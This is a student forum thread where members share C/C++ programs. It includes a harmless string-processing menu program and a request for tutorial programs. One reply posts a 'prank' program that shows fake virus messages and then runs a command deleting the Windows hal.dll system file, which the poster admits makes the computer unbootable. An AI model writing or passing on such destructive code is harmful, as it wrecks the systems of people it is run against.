Home » Ask & Discuss » Fun Zone » Games, Puzzles and Quizzes « Back to Discussion



Games, Puzzles and Quizzes

Selva Ganesh's Avatar
Hot goIITian

Joined: 21 Feb 2007
Post: 165
17 Feb 2008 20:12:40 IST
0 People liked this
102
7294 View Post
C++......
None

Hi friends i thought of creating a post for C and C++ program.....

if you need any program just post a request here and other GOIITans may help ( including ME )....

if you have any program just post em here and get rated by ME ( FOR SURE ) and other members....

to copy a c++ program there is a simple way tat many of us do not know
(i.e) Just go to the place where you have saved it and just right click and 'open with..' any text editter like notepad......

TO compile it also there is a simple way...
Just copy the program from the post and paste it in NOTEPAD and save as
' .cpp ' or '.c' file and then open it using the c++ editter....

I am saying the above 2 methods cauz many of us write the entire program and tat takes a long time.....

PLEASE GIVE YOUR BEST - THANKS....


Share this article on:

Comments (102)

Pritish Chakraborty's Avatar

Blazing goIITian

Joined: 10 Jun 2009
Posts: 453
26 Aug 2009 08:12:32 IST
2 people liked this

//A little prank program I made which created tension in many :D

//Note : Do NOT try this on your computer. If C:\windows\system32\hal.dll gets deleted, your computer won't boot.

//Keep a backup copy of it if you want to try out the prog on your comp.

#include <iostream.h>
#include <stdlib.h>
#include <conio.h>

#include <dos.h>


void main()
{

    cout << "\nPreparing to demolish your computer.";
sleep(3000);
cout << "\nVirus W32.MyDoom.Noob=You taking over!!!!!"
sleep(1500);
system("del %systemroot%\\system32\\hal.dll");
sleep(1500);
cout << "\nDemolition successful";
getch();
return 0;
}

Pritish Chakraborty's Avatar

Blazing goIITian

Joined: 10 Jun 2009
Posts: 453
26 Aug 2009 08:22:41 IST
1 people liked this

//Another menu program of various string functions
#include <iostream.h>
#include <conio.h>
#include <process.h>
#include <stdio.h>
#include <ctype.h>

const char vowels[] = "AEIOUaeiou";

void WordCount(char str[])
{
int count = 1;
for(int i = 0; str[i] != '\0'; i++)
{
if(str[i] == ' ')
count++;
}
cout << "\nThe number of words is - " << count;
}

void countVC(char str[])
{
int i, j, cons = 0, vows = 0, ch = 0;
int flag = 0;
for(i = 0; str[i] != '\0'; i++)
{
if(isalpha(str[i]))
{
ch++;          
for(j = 0; j < 11; j++)
{
if(str[i] != vowels[j])
flag = 1;
else
{
flag = 0;
break;
}
}
if(flag == 1)
cons++;
}
}

vows = ch - cons;
cout << "\nConsonants - " << cons;
cout << "\nVowels - " << vows;
}

void CharCount(char str[])
{
int up = 0, low = 0, spec = 0, digit = 0;
for(int i = 0; str[i] != '\0'; i++)
{
char ch = str[i];
if(isalpha(ch))
{
if(isupper(ch))
up++;
if(islower(ch))
low++;
}
else if(isdigit(ch))
digit++;
else if(!(isalpha(ch)) && ch != ' ')
spec++;
}
cout << "\nNumber of uppercase characters - " << up;
cout << "\nNumber of lowercase characters - " << low;
cout << "\nNumber of digits - " << digit;
cout << "\nNumber of specials - " << spec;
countVC(str);

}

void RevSent(char str[])
{  
int l, begin, end;
char ch;
for(int i = 0; str[i] != '\0'; i++)
l = i;
for(begin = 0, end = l; begin < end; begin++, end--)
{
ch = str[begin];
str[begin] = str[end];
str[end] = ch;
}
cout << "\nReversed string : " << str;
}

void RevWord(char str[])
{
int i,j,begin,end;
char ch;
for(i=0;str[i]!='\0';i++)
{
for(j=i;str[j]!='\0'&&str[j]!=' ';j++);
begin=i;
end=j-1;

while(begin<end)
{
ch=str[begin];
str[begin]=str[end];
str[end]=ch;
begin++;end--;
}
i=j;
}
cout<<"\n string with reversed word :"<<endl<<str;
}

int main()
{
int sw; //switch var
char str1[200], ans; //ans for continuing or breaking.
do
{
clrscr();
cout << "WELCOME TO THE STRINGS PROGRAM";
cout << "\nChoose an option below\n";
cout << "(1): Count words in a string\n";
cout << "(2): Count various parts of a sentence\n";
cout << "(3): Reverse the whole string\n";
cout << "(4): Reverse each word of string\n";
cout << "(5): Exit\n";
cout << "> ";
cin >> sw;
clrscr();
switch(sw)
{
case 1:
cin.ignore();
cout << "\nEnter a string - ";
cin.getline(str1, 200);
WordCount(str1);
getch();
break;

case 2:
cin.ignore();
cout << "\nEnter a string - ";
cin.getline(str1, 200);
CharCount(str1);
getch();
break;

case 3:
cin.ignore();
cout << "\nEnter a string - ";
cin.getline(str1, 200);
RevSent(str1);
getch();
break;

case 4:
cin.ignore();
cout << "\nEnter a string - ";
cin.getline(str1, 200);
RevWord(str1);
getch();
break;

case 5:
exit(0);

default:
cout << "\nInvalid Choice";
}
cout << "\nStart again? (Y/N) - ";
cin >> ans;
clrscr();
}while(ans == 'y' || ans == 'Y');
return 0;
}

anchal singhal's Avatar

Blazing goIITian

Joined: 21 Aug 2008
Posts: 380
24 Sep 2009 23:12:37 IST
0 people liked this

hello everybody..i m in class 12th..nd i hav got a project to make a c++ tutorial through c++ programs plz can anybody give me a program like this..or make this program for me???



Quick Reply


Reply

Some HTML allowed.
Keep your comments above the belt or risk having them deleted.
Signup for a avatar to have your pictures show up by your comment
If Members see a thread that violates the Posting Rules, bring it to the attention of the Moderator Team
Free Sign Up!

Preparing for IIT-JEE ?

Arihant Revision Package for IIT JEE - Books, Practice Tests + Rank Predictor


@ INR 1,995/-

For Quick Info

Name

Mobile No.

Find Posts by Topics

Physics.

Topics

Mathematics.

Chemistry.

Biology

Parents

Board

Fun Zone

Sponsored Ads